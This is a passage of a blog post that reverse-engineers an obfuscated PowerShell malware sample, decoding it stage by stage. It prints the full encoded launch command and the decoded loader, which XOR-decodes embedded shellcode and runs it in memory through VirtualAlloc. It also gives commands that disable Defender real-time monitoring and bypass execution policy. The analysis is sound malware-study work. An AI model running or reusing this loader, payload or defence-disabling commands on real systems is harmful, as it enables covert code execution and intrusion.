Reverse-Engineering PowerShell Malware, Part 2

My first post on the subject of Reverse-Engineering PowerShell Malware was well-received, and one of my readers sent me a couple more samples of obfuscated PowerShell malware that they had seen in another environment! (Thanks, Chad!) So I’ve decided to try my hand at reversing these as well, because who doesn’t like a challenge?

Quick note: If you’re following along, please do so in a safe virtual machine that is isolated from your network. It’s a bad idea to work on malware without some form of isolation. Microsoft has made a free Windows 10 Virtual Machine available for researchers and developers. That’s what I’ll be using during this write-up, and I’ve set up the VM to use a host-only network, so that it is incapable of communicating with the outside world.

I’ve also configured a shared drive that lets my Linux host interact with files on my Windows virtual machine, and throughout the guide I’ll be using Python scripts to interact with these PowerShell scripts. I do not have PowerShell installed on my Linux system. If I was truly paranoid, I would probably set up a Linux VM that shares the same folder as the Windows VM, so that I’m doing everything within isolated VMs. But I’m not quite that paranoid. Yet.

Finally, I want to preface this write-up by saying, once again, that I am not a PowerShell programmer. I’ve actually been learning the PowerShell language as I read and analyze this malware, but it’s absolutely possible that I may misunderstand or misinterpret some of the functionality of this code. If you find any problems with this analysis, please let me know, and I’ll revise this write-up accordingly!

Anyway, let’s get started.

Stage One

To begin, let’s take a look at the malware in its natural state:

powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAVwA3ADMAUABhAE8AQgBQACsASABQADQASwBmAGMAaQBNADcAUwBsAFEARQBuAEoAcAA2AEUAMQBtAHkAbQAvAE0AQwA0AFQARwBKAEsASABsAEcARQBiAEkATQBqAEUAUgBGAGsAaQB5AHcAVgB6ADcAdgA3ADgAcgBHADMAUAAwAG0AcgB4AHYAWgArADQAeQB3ADAAUwBXAGQAbABlADcAegB6ADYANwBLADQAZQBxAGcAcQBPAEUAVAAxAFMAZgB1AHgAUQBWAEgAcQBtAFEAUABnAC8AUQBaAFMANQAzADMAdQBDADIAUQByAGYAbwBrADUASAB6AHcAbwBBAG8AdgBhADAAWABzAHcAVgBWAHMANwBYAGcAWgBJAFoAZABWADEAQQBwADAAWgArADUAcwB5AEUAVwBlAEkAWABNADgAdwBpAEwAMgBZAHEANwBJAGEATgA1AGwASAB4AG8AUQBlAHEARwBnAGwAcABuAFoANwBtAHoAWgBDAHMATQBKAFAAYgBvAEwATQBEAEsAagArAGgAcwBSAGQAVQB6AGQAeQBWAGMAWgBFADYAcQA2ADMAVwBEAHIANwBBAGYAVABEADkAKwByAEkAZABDADAARQBDAGwAMwA4AFUAMgBWAFYAVQBwADYAVwByAE8AZgBDAHAATgBDADMAMQBEAFQAOAA5AFUAMABNAEwAZABmAEUAbQBKAFEAbgArAGkAOAAxAG0AeAB6AGYAZwBjAHMANABOAFkAWABNAGYAawBHAFEASwBxAEIAcQA0ACsANgAzAEcAQwBkAFEAUgBGAFoAOAAxADgAWgBSAHAALwAvAEcARgBZAGsAOABMAEYAdABOAGoAYwBoAEoAaABKADAAMwBCAGkAcQBlAGkAcQA2AEQASgBtAFcATwBpADcAcABTADgAYwB4AFcAdABxAEcAbgAyAGYAQwBDADYANQBwADQAcABQAGYAbABDACsATABEADQAawAzAGcAOABTADUALwB1AHAANwA0AFoAMQBpAEcAeQB4AHgAaABEAEgAMgAwAEYAcQBxADYAbQBPAGEAYwBCAHkAQwBOAGgAVQBVAHcAeQBOAFAASgByAG8AKwB5AGIAVABLAGYAcAAwADkATwBZACsARABKAFMALwBvAGsAVQA3AFUARgBUAHcAdABVAE4ARgA1AEIATQBxAGkAeAAwAGMAdQBJAHoAZQBVAHcALwBVAEQAQQBuAHAAQwB4AGEARwBCAFUANABJAHEAawBJAFIAbwBNAHcAWAAwAEkAdgA0AEMAegBYAFAAZwA1AEMAeABQAE4AaQBkAC8ASwByAGQAcQBUAG0AZwAyAHcAegBjAFgAMQBVAHkAVAA1AFYAQQBhAHEAaQBFAGwAVAA5AHcANABsAGYAZwA2AEMAZQA4AFMAYwAxAEIATwBEADkANQBmADAASQB1AEMALwA1ACsASQBwAGkAVgArADUANQA3AGgAYQBvAHUAWgBYAFMAQgBGAFoAMABwAHcAUABlAEUAcQA3AG0AegBzADAAbQB5AHAAQgBDAFAATwBlAFQAUwBUAC8AUgB1AFUAUwBtAFAAKwB1AEEARQBWAGwAegBFAE8AcAAwAGoARQBWAEoAcgArAGwAZAArADAAbQBzAHoAVABaAGwALwAwADkAQgBGAHAAbgBYAFEAUwBkAE8AVAArAG4ARwBMAEoAbwAvAGMAZAA2AGUANQBNAHkAdAAzAFkASQAvAGUAbgA4ADEARABuADcAbABVADYAUABPADMAcQA2AEYAQgBQAFQAKwBnAGoAVABqAEEASwA1ADkAawBoAEQAZABmAHkAeABuADEARwBFADMAdwBLAEcAWgBpAEEALwBEAFQATgBBADQASAAxAEcAMABjADAARABFADAAbwBKAE8AZgAxAFoAbwByAFgAeAAxADEAYQA2AGwAegBWAFEASgA1AGwAKwBBAFYAVQBNAEwANgAwAFoAawAwAGgANgBaAGgAQgAzADIANgBBAHYAegBTAGIANgBEAHAAdQBRAGQAbABSAGoAUABwAFEAMgBuAEYAMgBlADMANgBXADMATwA1AHoAcgBDAFUAZQBUAFEATQBvAGMANQBKAEgAagBrAFUATQArAHIAbQBVAFQAVwBRAC8AdQBHAG8ARwBpAHEAZQBMAEkAMgAvADMATwAyAEgAVABQAGsARQBTADUAVwBaAG0AMQBxAHYAUQBIAHEANAB1AHMANABEAHEASgBpAFEAUQBIAFkAQgBoAHAARwB6AHAAcwBUAEgAVABLAE8AUwBSAHgAMwBmAHAAYgBYAFkAOABSAGUAWgBDADgAYQByAG0ATgBRAHgAWQAxAEIAeQBZAEMAbQBDAG4ATQBDAE8AeABzAEoAUgBtAGoAUABDAHoAZgArAGQASAAxAGIAUgBvAGMAcABlAHIAUgBsAGQAZwBYAFQAUwBoAFYAbwBNAEwANgBEAG4ASABDAG8AcQBvAFIAdABlAFUATgBmADQASAAyADUAbgBkAFoASQBXAGgAYwBZAHEAQQArAG4ARQBhAFMAQwBBAHcANwBqAEsAbwAwAGQAZgBLAE8AaAByAFIAdgA0AG4ANAB2ADAAegA5ADMANQBzAE0AVAArADQAVwBSAGYAMABrAEUAZwB6AEsAYwBSAEoATABWAGEANgBYAEIASgBKAG8AbwBmAEwANwBSAEgATABCAEQAbQBoAEEATABXAFcANABLAHMAYQBsAHYAVAA2AHkAawBuAGEAbQBHAG0AVQBiADgASwBOAEgAZgBlAFgAbgA2ADkARgB1AHgAbQAxAE8AcAB0AE8AYwB3AFMALwBDAEgANwBsAFQAYQB2AFoANgAzAFgAdgAxADcAWAA3AEgAbQBtAEcAZAA4AE4ATwBxAGUAdgBaAG4AMgA4AGEAVgArAEUAMgB0AE0ATgBSAHIAVgBSAHUAbABVAEIAdQB2ADIAawAzAFAAVAB1ADYANAAxADgAdQB3AHQAWABWAGgAYgB1ADIAbwB3AEgAcwB5AFEAKwBiAGoAbQB6AFkAVQBhAFAAYQB1AGQAegB3ADEAdgBYAEMAcgB4AHoAcwBwAFAAcQBmADUAOQB1AEwAKwBkAGgAdQBmAFoAaQAzAFcAMQBlAGQAUgA5AG4AUwA4AGgAMAA3AHEAcgBVADIAOQBRAHEASAA5AFgAcwA3AHEAdgBNAHUANgBOADEAYwByADQAUABhADEAcgAyAGkAegBlADQAMQBIAGYAZgBJAHQAcQB4AHUASwBGADcAcwA0AHYAOAA4AHYAbQB1AEcAZwArADYAWABrAGwAegAyAEkAUQBhAG4AcwBpAGYAZAArAHEAQgByAGwAOQBTAEgANQAzAEsAagBYAFIANQArADMAYwBkAGMATAB1ADEANAA4AEYAcwB6AFgATQBmAGsAUgBTADUAZgBZAHIASgAwADQAcgB0AFIATgB3AGEANQBsAHgAZgBtAE8ATABXAGQAYwAvAGwAMQA5AEgANwBvAGsAVQBwAHcAeAB3AGQAYgB0ADIAdQBYAFcANwAxADYAYQBVAGUAMwA3AHYANQB5AEgAUQA3AEcAbwA0AGUAWABwAGUATwBBAC8ATABWAG8AOABiAHUASABZAEMAUABiAGkAeQBzAG4ANQBPAE0AdABpAFcARAAvAHcAbgBIAGMAbgBRAHUAQgBSAGUAUAA0AFMAMwBtAEkAdQBiAHMAbAArADIAUQAvADcAagBmAGcANwB0AE0AegB3AEkAZQBVAE4AKwAyAGIARABzAFEAVgAxAE8ASwBlADIAUABnAEUATQBDAGUAZABmAHQAeAA3AGoAbwBkAE8AWQB0AE4AdABSAHMAdABMADcANABNAEgALwBwAGUAYwBkADAAOABYADYAMAA2AEgAVgBEAFkAZwBmAC8AMABjADEAVwBLAEoAcgB4AGgANQBjAFMAcAAzAFQANAB2AHgAbQBGAFQAVQByAGwAUABiAEQAMwB0AGsAcwBDAGYAbABUAHUAVgA5AFkAMQB3AFoATwBXAHoAUQA5AGkANQBxADQAOAAvAE0AZgBYAHIAbwBiAEoAOQBhAE8AMwB0AHUANwA0AE8ASAB4AGEAcAA2AHEAMQBuAGwAYwBRAEYAegBZAHEAZAA3ADcAKwA4AEkALwBoAGUAWQBRAGsAZgBlAEEARgB1AEEAaQBIAHIALwAzAFQAdABMADkAKwAvAGoAeQBlAFIAOABOADgAMwBtADcAZgBHADcATQBOACsAQgB0AGYASgB2AG0AbwBQAEoAUwBZAFIAUABtAFAAZgBXAEUATwB0AGoASQBaADgAeABBADAAYgBDAEkATQByAGEAUwBJAHUATAAxAG0ARwBjAEQATABtAHYATgBVAHoAegA5AFIAZgBRAEMAeABVAEIAWgBmAEEANgBnAFAAZABEAFYAbgB4AFYAeABqAGoAUgBBAC8AQwBOAFMAUQBUAGoATwBCADIAUwBVADIAZwB5AEQANwBBAHMAWAA3ADYANgBzAHQAQgBSAEUASwBaAGUARwB0AE0AOAA5AEwAeABrAFMAQgB3AGkAegBHAFoAbABKAHYAagB4ADQAMQBjAEkATAAzADgAQwBZAG8AOABHAEMALwBXAGMAUgA2AFYAZAB1AFYAUQBxADYAZgA5AFgASgBTAHYAMwA2ADcARABVACsAVABvADIAagArAGIAeQBlAGsAaQBlAGUASABKADYARQAwAHQAdQBzAGcANwBvAGkAegBCAFkAMABYADgAeABBAFQAOQBjACsAdgArAGgAMQBlAEEAbABjAC8AWQBJAFgAZQBMAFEANgAzAGgAWgBPAGUATgBUAEwAbQBkADcANgBHAFIAZgArAG4AdAA0AFIAZABJAE4AdQBrAG0ANABKAHgAVQBXAHEAcgBEAGsAYwAzAGgAeQBKAGoAMwBVAFAATQBjAFcAcwBwAHQAagBkAEkANwBSAGQAMQBTAEEAOABLAHEAeQBmAEEAbgB2AFQAcgBFAEkAZABVAE4ARgA2AFQAUAA2AEcAOQBwAGkAUAAxAFgAOABoAHUANABwAG8AZgBBAE0ASwBuAFQANQBIAEYAaABLAFkAUwA1AHEAMAA0AGsAUgBMAFEAeAA3AC8AdwBVAFoATAA5AGkAdABsAHcAcwBBAEEAQQA9AD0AIgApACkAOwBJAEUAWAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAkAHMALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAOwA=

Yep! It’s just a big ol’ string of Base64. Nearly 6,000 characters! First things first, I’ll take out that first bit: powershell -nop -w hidden -encodedcommand. These command-line arguments tell PowerShell how to do it’s business, but I’m not interested in that part; I’m interested in what’s going on in that Base64 block.

After isolating the Base64 into a separate file, I used a simple Python 3 script to decode it:

#!/usr/bin/env python3

import base64
import sys

if len(sys.argv) < 3:
    print(f"Usage: {sys.argv[0]} [input file] [output file]")
    sys.exit(0)

INPUT_FILE = sys.argv[1]
OUTPUT_FILE = sys.argv[2]

with open(INPUT_FILE) as INFILE:
    with open(OUTPUT_FILE, 'wb') as OUTFILE:
        OUTFILE.write(base64.b64decode(INFILE.read().strip()))

Using the script is simple:

./b64dec.py evil_b64.ps1 output.txt

Opening the output.txt file in my text editor, I see a familiar sight:

Ugly Text

I saw something like this in my first PowerShell reverse-engineering attempt. I open the file as binary using Python, and take a look at the contents:

>>> with open("output.txt","rb") as infile:
...   contents = infile.read()
...
>>> contents[:50]
b'$\x00s\x00=\x00N\x00e\x00w\x00-\x00O\x00b\x00j\x00e\x00c\x00t\x00 \x00I\x00O\x00.\x00M\x00e\x00m\x00o\x00r\x00y\x00S\x00t\x00'

There’s a null byte between every useful byte in the file. I’ll strip those out and write the contents back to output.txt:

>>> contents = contents.replace(b'\x00',b'')
>>> with open("output.txt","wb") as outfile:
...   outfile.write(contents)
...
2164

With that complete, the output.txt file is much more readable. Here’s the Base64-decoded result:

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAAK1W73PaOBP+HP4KfciM7SlQEnJp6E1mym/MC4TGJKHlGEbIMjERFkiywVz7v78rG3P0mrxvZ+4yw0SWdle7zz67K4eqgqOET1SfuxQVHqmQPg/QZS533uC2Qrfok5HzwoAova0XswVVs7XgZIZdV1Ap0Z+5syEWeIXM8wiL2Yq7IaN5lHxoQeqGglpnZ7mzZCsMJPboLMDKj+hsRdUzdyVcZE6q63WDr7AfTD9+rIdC0ECl38U2VVUp6WrOfCpNC31DT89U0MLdfEmJQn+i81mxzfgcs4NYXMfkGQKqBq4+63GCdQRFZ818ZRp//GFYk8LFtNjchJhJ03Biqeiq6DJmWOi7pS8cxWtqGn2fCC65p4pPflC+LD4k3g8S5/up74Z1iGyxxhDH20Fqq6mOacByCNhUUwyNPJro+ybTKfp09OY+DJS/okU7UFTwtUNF5BMqix0cuIzeUw/UDAnpCxaGBU4IqkIRoMwX0Iv4CzXPg5CxPNid/KrdqTmg2wzcX1UyT5VAaqiElT9w4lfg6Ce8Sc1BOD95f0IuC/5+IpiV+557haouZXSBFZ0pwPeEq7mzs0mypBCPOeTST/RuUSmP+uAEVlzEOp0jEVJr+ld+0mszTZl/09BFpnXQSdOT+nGLJo/cd6e5Myt3YI/en81Dn7lU6PO3q6FBPT+gjTjAK59khDdfyxn1GE3wKGZiA/DTNA4H1G0c0DE0oJOf1ZorXx11a6lzVQJ5l+AVUML60Zk0h6ZhB326AvzSb6DpuQdlRjPpQ2nF2e36W3O5zrCUeTQMoc5JHjkUM+rmUTWQ/uGoGiqeLI2/3O2HTPkES5WZm1qvQHq4us4DqJiQQHYBhpGzpsTHTKOSRx3fpbXY8ReZC8armNQxY1ByYCmCnMCOxsJRmjPCzf+dH1bRocperRldgXTShVoML6DnHCoqoRteUNf4H25ndZIWhcYqA+nEaSCAw7jKo0dfKOhrRv4n4v0z935sMT+4WRf0kEgzKcRJLVa6XBJJoofL7RHLBDmhALWW4KsalvT6yknamGmUb8KNHfeXn69Fuxm1OptOcwS/CH7lTavZ63Xv17X7HmmGd8NOqevZn28aV+E2tMNRrVRulUBuv2k3PTu6418uwtXVhbu2owHsyQ+bjmzYUaPaudzw1vXCrxzspPqf59uL+dhufZi3W1edR9nS8h07qrU29QqH9Xs7qvMu6N1cr4Pa1r2ize41HffItqxuKF7s4v88vmuGg+6Xklz2IQansifd+qBrl9SH53KjXR5+3cdcLu148FszXMfkRS5fYrJ04rtRNwa5lxfmOLWdc/l19H7okUpwxwdbt2uXW716aUe37v5yHQ7Go4eXpeOA/LVo8buHYCPbiysn5OMtiWD/wnHcnQuBReP4S3mIubsl+2Q/7jfg7tMzwIeUN+2bDsQV1OKe2PgEMCedftx7jodOYtNtRstL74MH/pecd08X606HVDYgf/0c1WKJrxh5cSp3T4vxmFTUrlPbD3tksCflTuV9Y1wZOWzQ9i5q48/MfXrobJ9aO3tu74OHxap6q1nlcQFzYqd77+8I/heYQkfeAFuAiHr/3TtL9+/jyeR8N83m7fG7MN+BtfJvmoPJSYRPmPfWEOtjIZ8xA0bCIMraSIuL1mGcDLmvNUzz9RfQCxUBZfA6gPdDVnxVxjjRA/CNSQTjOB2SU2gyD7AsX766stBREKZeGtM89LxkSBwizGZlJvjx41cIL38CYo8GC/WcR6VduVQq6f9XJSv367DU+To2j+byekieeHJ6E0tusg7oizBY0X8xAT9c+v+h1eAlc/YIXeLQ63hZOeNTLmd76GRf+nt4RdINukm4JxUWqrDkc3hyJj3UPMcWsptjdI7Rd1SA8KqyfAnvTrEIdUNF6TP6G9piP1X8hu4pofAMKnT5HFhKYS5q04kRLQx7/wUZL9itlwsAAA=="));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

Thankfully, it appears as if this malware author didn’t abuse PowerShell’s case-insensitivity, so parsing this document will be much simpler than the last malware I analyzed.

I clean up the script a little bit and extract the Base64-encoded string into a separate file. Here’s the result:

$s=New-Object IO.MemoryStream(
  ,[Convert]::FromBase64String("base-64-string-goes-here")
)
IEX (
  New-Object IO.StreamReader(
    New-Object IO.Compression.GzipStream(
      $s,[IO.Compression.CompressionMode]::Decompress
    )
  )
).ReadToEnd()

This seems familiar! The first part of the script decodes the Base64-encoded string and stores the result in the $s variable. Then, it passes that variable to an IO.Compression.GzipStream object, which decompresses the binary stored in $s into text. Finally, it executes the resulting code using the IEX alias for Invoke-Expression.

With a simple modification, I can have the script decode and decompress the Base64-encoded payload and save it to outfile.txt:

$s=New-Object IO.MemoryStream(
  ,[Convert]::FromBase64String("base-64-string-goes-here")
)
echo (
  New-Object IO.StreamReader(
    New-Object IO.Compression.GzipStream(
      $s,[IO.Compression.CompressionMode]::Decompress
    )
  )
).ReadToEnd() > output.txt

Windows Defender Woes

I re-insert the Base64 payload into the script and run the script on my Windows VM:

PS E:\PowerShell Malware\psm2> E:\PowerShell Malware\psm2\evil_b64.ps1
At E:\PowerShell Malware\psm2\evil_b64.ps1:1 char:1
+ $s=New-Object IO.MemoryStream(
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

Ha! The Windows 10 virtual machine has Windows Defender enabled, and it automatically blocked what it recognized was “malicious content.” While I’m pleased to see that Windows would have stopped this malware, if I want to get anywhere with this reverse-engineering process, I’ll need to disable this protection.

I open the Windows Settings utility, click Update & Secuity, go to the Windows Security tab, then click Open Windows Security. From here, I go through all the different tabs, disabling all protections I can find. Literally everything. Firewalls, exploit protection, antivirus scanning… Anything that this system could possibly do to interfere with the malware I’m attempting to study.

Afterwards, I shut down the system, make a new snapshot in VirtualBox, then boot the system back up. If something breaks, I can simply restore this snapshot and continue from a clean system.

Once the system is booted back up, I return to the script, and run it once more:

PS E:\PowerShell Malware\psm2> E:\PowerShell Malware\psm2\evil_b64.ps1
At E:\PowerShell Malware\psm2\evil_b64.ps1:1 char:1
+ $s=New-Object IO.MemoryStream(
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

What?! Windows still blocked the script and deleted it from my system! I did some further research. Reading this github post I learned the following command:

Set-MpPreference -DisableRealtimeMonitoring $true

I ran PowerShell with administrative privileges, executed the command, then spawned a new PowerShell instance with the following command:

powershell -executionpolicy bypass

With that, I once again attempted to execute my script. This time, it worked! The script executed, and the decoded and decompressed contents of the Base64 string were written to output.txt.

Note: Upon further research, I learned that I’ll have to disable real-time monitoring every time I reboot the system – this is not a persistent change.

Stage Two

Once again, the output.txt began with the \xff\xfe bytes, and there were null-bytes throughout the file:

>>> with open('output.txt','rb') as infile:
...   contents = infile.read()
...
>>> contents[:50]
b'\xff\xfeS\x00e\x00t\x00-\x00S\x00t\x00r\x00i\x00c\x00t\x00M\x00o\x00d\x00e\x00 \x00-\x00V\x00e\x00r\x00s\x00i\x00o\x00n\x00 \x00'

I removed the first two bytes and all the null bytes:

>>> contents = contents[2:].replace(b'\x00',b'')
>>> with open('output.txt','wb') as outfile:
...   outfile.write(contents)
...
2969

Afterwards, the output.txt file contained the following:

Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
	Param ($var_module, $var_procedure)		
	$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
	$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
	return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
		[Parameter(Position = 1)] [Type] $var_return_type = [Void]
	)

	$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
	$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
	$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

	return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+EuNJY0sjMyMjS9zcJCNJI0t7h3DG3PZzyosjIyN5EupycksjkycjSyOTJyNJIkklSSBxS2ZT/Pfc9nOoNwdJI3FLC0xewdz2puNXTUkjSSNJI6rFoOUnqsGg4SuoXwcvSSN1SSdxdEuOvXyY3PaodwczSSN1SyMDIyNxdEuOvXyY3Pam41c3qG8HJ6gnByLrqicHqHcHMyLhyPSoXwcvdEvj2f7f3PZ0S+W1pHHc9qgnB6hvBysa4lckS9OWgXXc9txHBzPLcNzc3H9/DX9TSlNGf1BXQldWUHwWFxIbIznUgmA=')

for ($x = 0; $x -lt $var_code.Count; $x++) {
	$var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
	start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
	IEX $DoIt
}

Nice! Thankfully, unlike last time, I didn’t have to go through a dozen decoding and decompression steps. Time to analyze this code…

Code Analysis

I’m grateful that the malware author didn’t try to obfuscate their code that much this time around. Before diving into the analysis, I took some time to clean up the script so it was more legible. With that complete, I was ready to begin.

Starting from the top, I noticed that the script declares a variable called $DoIt:

Set-StrictMode -Version 2

$DoIt = @'
[...]

This variable is declared with an “at” symbol (@) followed by a single-quote, yet I didn’t see where the quote was terminated. Scrolling down further, I found the following, eight lines from the bottom of the script:

'@

Thus, I learned that PowerShell allows for the encompassing of entire text chunks between opening @' and closing '@ markers. The malware authors had saved an entire massive chunk of PowerShell code as a string, stored in the $DoIt variable.

(By the way… is anyone else getting a Chancellor Palpatine vibe here?)

Do It

Following the termination of the $DoIt variable declaration, the following code is used to execute the PowerShell code contained within the variable:

If ([IntPtr]::size -eq 8) {
	start-job {
    param($a) IEX $a
  } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
} else {
	IEX $DoIt
}

After some research, I learned that the size of the IntPtr variable type is dependent on the processor architecture. On 32-bit systems, IntPtr is 4 bytes, whereas it’s 8 bytes on 64-bit systems. Therefore, the above code checks to see whether the malware is being run on a 32- or 64-bit system. If it’s a 32-bit system, the script stored in the $DoIt variable is executed as-is. If the system is 64-bit, then the script stored in the $DoIt variable is executed via a 32-bit compatibility layer.

Basically, this block of code simply ensures that the $DoIt code is executed in 32-bit mode. With this in mind, I would need to analyze the $DoIt code from the perspective of a 32-bit architecture.

To make this easier, I simply stripped out the entire contents of the $DoIt variable and made a stub script, which I named runas32bit.ps1:

Set-StrictMode -Version 2

$DoIt = @'
  # Place PowerShell code here to run it in 32-bit mode.
'@

If ([IntPtr]::size -eq 8) {
	start-job {
    param($a) IEX $a
  } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
} else {
	IEX $DoIt
}

Using this script, I could test out various parts of the payload in 32-bit mode, despite the fact that my Windows 10 VM is a 64-bit system.

Code Breakdown

Through my examination of the code, I learned something new about how PowerShell calls functions. In most of the function calls I’d seen, the parameters being passed to the function were wrapped in parentheses and separated by commas. However, this is not a requirement; the following demonstrates this principle:

PS E:\PowerShell Malware\psm2> function test($a, $b){echo $a; echo $b}
PS E:\PowerShell Malware\psm2> test('a','b')
a
b
PS E:\PowerShell Malware\psm2> test 'a' 'b'
a
b

With my runas32bit.ps1 script in-hand, I began analysis of the $DoIt payload script. I cleaned up the code a bit more, for readability, then examined each piece in turn.

func_get_proc_address

At the top, we have the following function declaration:

function func_get_proc_address {
  Param ($var_module, $var_procedure)
  $var_unsafe_native_methods = (
    [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {
      $_.GlobalAssemblyCache -And $_.Location.Split(
        '\\'
      )[-1].Equals('System.dll')
    }
  ).GetType('Microsoft.Win32.UnsafeNativeMethods')
  $var_gpa = $var_unsafe_native_methods.GetMethod(
    'GetProcAddress', [Type[]] @(
      'System.Runtime.InteropServices.HandleRef', 'string'
    )
  )
  return $var_gpa.Invoke(
    $null,
    @(
      [System.Runtime.InteropServices.HandleRef](
        New-Object System.Runtime.InteropServices.HandleRef(
          (New-Object IntPtr),
          ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke(
            $null, @($var_module)
          )
        )
      ),
      $var_procedure
    )
  )
}

The first line in the function declaration specifies with which parameters the function expects to be called:

Param ($var_module, $var_procedure)

The next section retrieves the Microsoft.Win32.UnsafeNativeMethods section from the System.dll file and stores it in $var_unsafe_native_methods:

$var_unsafe_native_methods = (
  [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {
    $_.GlobalAssemblyCache -And $_.Location.Split(
      '\\'
    )[-1].Equals('System.dll')
  }
).GetType('Microsoft.Win32.UnsafeNativeMethods')

Then, the GetProcAddress function is retrieved from this section and stored in $var_gpa:

$var_gpa = $var_unsafe_native_methods.GetMethod(
  'GetProcAddress', [Type[]] @(
    'System.Runtime.InteropServices.HandleRef', 'string'
  )
)

Looking within the module specified by $var_module, the following section of code finds the memory address of the procedure specified by $var_procedure:

return $var_gpa.Invoke(
  $null,
  @(
    [System.Runtime.InteropServices.HandleRef](
      New-Object System.Runtime.InteropServices.HandleRef(
        (New-Object IntPtr),
        ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke(
          $null, @($var_module)
        )
      )
    ),
    $var_procedure
  )
)

This memory address is returned by the func_get_proc_address function. In summary, the func_get_proc_address function retrieves a memory address for a specific procedure within a specific module, as declared in the function call.

This function is used later in the script to retrieve the location of the VirtualAlloc procedure within the kernel32 module. To test this functionality, I modified the runas32bit.ps1 script, adding the function declaration, followed by the following lines, which call the function and print its output to the console:

$test = func_get_proc_address kernel32 VirtualAlloc
echo $test

Here’s the output of the script:

PS E:\PowerShell Malware\psm2> .\runas32bit.ps1
1958870112

From this, I can tell that the VirtualAlloc procedure is at memory address 1958870112.

func_get_delegate_type

After the func_get_proc_address definition, we see the following definition for the func_get_delegate_type function:

function func_get_delegate_type {
  Param (
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
    [Parameter(Position = 1)] [Type] $var_return_type = [Void]
  )
  $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(
    (New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run
  ).DefineDynamicModule(
    'InMemoryModule', $false
  ).DefineType(
    'MyDelegateType',
    'Class, Public, Sealed, AnsiClass, AutoClass',
    [System.MulticastDelegate]
  )
  $var_type_builder.DefineConstructor(
    'RTSpecialName, HideBySig, Public',
    [System.Reflection.CallingConventions]::Standard,
    $var_parameters
  ).SetImplementationFlags('Runtime, Managed')
